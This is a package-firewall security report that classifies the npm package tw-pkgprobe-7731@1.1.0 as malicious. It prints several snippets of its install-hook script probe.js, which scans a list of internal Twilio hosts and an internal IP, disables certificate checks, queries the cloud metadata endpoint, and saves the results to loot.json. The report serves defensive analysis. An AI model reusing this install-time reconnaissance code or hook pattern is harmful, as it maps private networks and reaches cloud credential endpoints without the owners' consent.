---
canonical: "https://firewall.lpm.dev/npm/tw-pkgprobe-7731/v/1.1.0"
markdown: "https://firewall.lpm.dev/npm/tw-pkgprobe-7731/v/1.1.0.md"
package: "tw-pkgprobe-7731"
report_status: "published"
title: "tw-pkgprobe-7731@1.1.0 npm security report"
verdict: "malicious"
version: "1.1.0"
---

# tw-pkgprobe-7731@1.1.0 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Can map reachable internal services and capture up to 300 bytes of metadata response into a package-local file.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Credential Exfiltration
- **Selected version:** 1.1.0
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

During npm installation in a specifically named temporary environment, the package performs DNS/TCP/HTTPS reconnaissance against internal Twilio infrastructure and probes a link-local cloud metadata endpoint. It saves collected responses locally as loot.json.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 97.0%
- **Started:** 2026-08-14T19:47:53.938Z
- **Finished:** 2026-08-14T19:48:40.987Z
- **Download time:** 252 ms
- **Static scan time:** 17 ms
- **AI review time:** 46780 ms
- **Total time:** 47049 ms

## Security analysis

### Published attack-surface review

- **Summary:** During npm installation in a specifically named temporary environment, the package performs DNS/TCP/HTTPS reconnaissance against internal Twilio infrastructure and probes a link-local cloud metadata endpoint. It saves collected responses locally as loot.json.

- **Trigger:** npm preinstall or postinstall while cwd matches /tmp/AC\<32 lowercase hex\>/

- **Impact:** Can map reachable internal services and capture up to 300 bytes of metadata response into a package-local file.

- **Evidence paths:** package.json, probe.js, index.js, daemon.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-14T19:48:40.987Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** guarded install-time internal-network and metadata reconnaissance

- **Attack narrative:** npm invokes probe.js before and after installation. In a narrowly targeted temporary-directory context, it resolves and probes a list of internal Twilio hosts, contacts an internal IP, requests link-local metadata, and writes results to loot.json. The source contains no outbound result-exfiltration routine, but the unconsented install-time reconnaissance and metadata collection are concrete hostile behavior.

- **Rationale:** The cwd guard narrows targeting but does not make the lifecycle-triggered internal reconnaissance consensual. Collection is retained locally and TLS validation is disabled.

- **Files touched:** package.json, probe.js, loot.json, index.js, daemon.js

- **Network endpoints:** argo-cd.prod.email.twilioinfra.com, help-center.aws-otk-prod-general-use1-001.otk.twilioinfra.com, one-console-internal.ashburn.us1.twilio.com, admin-api.ie1.twilio.com, support-api.us1.twilio.com, eventgw.us1.twilio.com, kafka-ui.au1.twilio.com, kafka-self-service.au1.twilio.com, issues.corp.twilio.com, code.hq.twilio.com, litellm.ai-services.corp.twilio.com, snyk-sendgrid.corp.twilio.com

### Review decision

- **Verdict:** Malicious

- **Confidence:** 97.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** Runs probe.js in both preinstall and postinstall., Lifecycle code scans numerous Twilio internal hosts and an internal IP., When cwd matches a /tmp/AC sandbox path, it requests cloud metadata and writes results to loot.json., HTTPS requests disable certificate validation.

- **Evidence against:** The probe has a restrictive cwd guard., No source sends collected results to an external endpoint., index.js exports an empty object and daemon.js exits immediately.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/tw-pkgprobe-7731@1.1.0/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.preinstall = node ./probe.js || true
```

### 2. Medium: Ambiguous Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 75.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/tw-pkgprobe-7731@1.1.0/package.json>)

Install-time lifecycle script is not statically allowlisted and needs review.

Public source snippet (untrusted):

```json
scripts.preinstall = node ./probe.js || true
```

### 3. Medium: Ambiguous Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 75.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/tw-pkgprobe-7731@1.1.0/package.json>)

Install-time lifecycle script is not statically allowlisted and needs review.

Public source snippet (untrusted):

```json
scripts.postinstall = node ./probe.js || true
```

### 4. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 5. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 6. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 7. High: Cloud Metadata Access
- **Category:** Source
- **Confidence:** 84.0%
- **Path:** probe.js
- **Public source:** [View source](<https://unpkg.com/tw-pkgprobe-7731@1.1.0/probe.js>)

Source reaches cloud instance metadata or link-local credential endpoints.

Public source snippet (untrusted):

```javascript
L2: // Serverless packager sandbox to Twilio-owned hosts. No-op anywhere else.
L3: const fs=require('fs'), dns=require('dns'), https=require('https'), http=require('http'), net=require('net');
L4: const HOSTS=["argo-cd.prod.email.twilioinfra.com","help-center.aws-otk-prod-general-use1-001.otk.twilioinfra.com",
...
L8: "service-catalog.in1.twilio.com","socer.twilio.com","knowledgenest.twilio.com","one-admin.twilio.com"];
L9: const out={ts:Date.now(),cwd:process.cwd(),results:{}};
L10: function tcp(host,port,ms){return new Promise(r=>{const s=net.connect({host,port,timeout:ms});let done=false;
...
L13: function get(url,ms){return new Promise(r=>{try{const req=https.get(url,{timeout:ms,rejectUnauthorized:false},res=>{
L14: let b='';res.on('data',d=>{if(b.length<400)b+=d.toString()});res.on('e
```

### 8. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 9. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 97.0%
- **Path:** probe.js
- **Public source:** [View source](<https://unpkg.com/tw-pkgprobe-7731@1.1.0/probe.js>)

Lifecycle code scans numerous Twilio internal hosts and an internal IP.

Public source snippet (untrusted):

```javascript
const HOSTS=["argo-cd.prod.email.twilioinfra.com","help-center.aws-otk-prod-general-use1-001.otk.twilioinfra.com",
"one-console-internal.ashburn.us1.twilio.com","admin-api.ie1.twilio.com","support-api.us1.twilio.com",
"eventgw.us1.twilio.com","kafka-ui.au1.twilio.com","kafka-self-service.au1.twilio.com","issues.corp.twilio.com",
"code.hq.twilio.com","litellm.ai-services.corp.twilio.com","snyk-sendgrid.corp.twilio.com","corpsec.stage.twilio.com",
"service-catalog.in1.twilio.com","socer.twilio.com","knowledgenest.twilio.com","one-admin.twilio.com"];
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 97.0%
- **Path:** probe.js
- **Public source:** [View source](<https://unpkg.com/tw-pkgprobe-7731@1.1.0/probe.js>)

When cwd matches a /tmp/AC sandbox path, it requests cloud metadata and writes results to loot.json.

Public source snippet (untrusted):

```javascript
if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(process.cwd())) return;
  for(const h of HOSTS){
    const rec={};
    try{ rec.dns=(await new Promise(r=>dns.lookup(h,(e,a)=>r(e?'ERR '+e.code:a)))); }catch(e){rec.dns='ERR';}
    if(typeof rec.dns==='string' && rec.dns.startsWith('ERR')){ out.results[h]=rec; continue; }
    rec.tcp443=await tcp(rec.dns,443,5000);
    if(rec.tcp443==='open') rec.https=await get('https://'+h+'/',6000);
    out.results[h]=rec;
  }
  out.direct_10_208_61_13={tcp443:await tcp('10.208.61.13',443,5000),tcp80:await tcp('10.208.61.13',80,5000)};
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 97.0%
- **Path:** probe.js
- **Public source:** [View source](<https://unpkg.com/tw-pkgprobe-7731@1.1.0/probe.js>)

HTTPS requests disable certificate validation.

Public source snippet (untrusted):

```javascript
out.imds=await get('https://169.254.169.254/latest/meta-data/',3000);
  try{ fs.writeFileSync(__dirname+'/loot.json',JSON.stringify(out)); }catch(e){}
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 97.0%
- **Path:** probe.js
- **Public source:** [View source](<https://unpkg.com/tw-pkgprobe-7731@1.1.0/probe.js>)

HTTPS requests disable certificate validation.

Public source snippet (untrusted):

```javascript
function get(url,ms){return new Promise(r=>{try{const req=https.get(url,{timeout:ms,rejectUnauthorized:false},res=>{
  let b='';res.on('data',d=>{if(b.length<400)b+=d.toString()});res.on('end',()=>r({status:res.statusCode,server:res.headers.server||'',body:b.slice(0,300)}));});
  req.on('timeout',()=>{req.destroy();r({err:'timeout'})});req.on('error',e=>r({err:e.code||''+e}));}catch(e){r({err:''+e})}});}
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** postinstall, preinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** tw-pkgprobe-7731
- **Ecosystem:** npm
- **Version:** 1.1.0
- **License:** MIT
- **Version published:** 2026-08-14T19:43:55.832Z
- **Package first seen:** 2026-08-14T19:18:35.041Z
- **Package last seen:** 2026-08-14T20:15:39.793Z
- **Known versions:** 6
- **Latest version:** 1.1.1
- **Appeal under review:** No
- **Description:** Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for.
- **Artifact files:** 4
- **Artifact unpacked size:** 2,800 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/tw-pkgprobe-7731/v/1.1.0>)
